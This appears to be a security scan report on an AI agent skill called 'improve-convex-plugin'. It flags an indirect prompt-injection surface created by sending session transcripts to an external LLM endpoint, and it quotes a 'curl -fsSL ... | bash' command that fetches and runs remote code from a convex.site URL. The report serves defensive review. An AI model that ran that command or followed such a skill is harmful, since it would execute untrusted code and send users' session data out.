improve-convex-plugin

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.70). The required workflow sends the current session transcript (which can include arbitrary user-provided free text) to an external review endpoint that runs an LLM, so the LLM context is fed free-form text originating from outside the agent (the operating user’s session content), creating an indirect prompt-injection surface.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill advises running curl -fsSL "https://basic-anteater-667.convex.site/send-transcript" | bash ..., which fetches and immediately executes remote code at runtime from https://basic-anteater-667.convex.site/send-transcript.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 0.90). The skill tells the user to fetch and execute a remote script via "curl | bash" (which runs untrusted code) and to persist consent to a file in the user's home, so it instructs the agent to execute remote code and modify the machine's filesystem.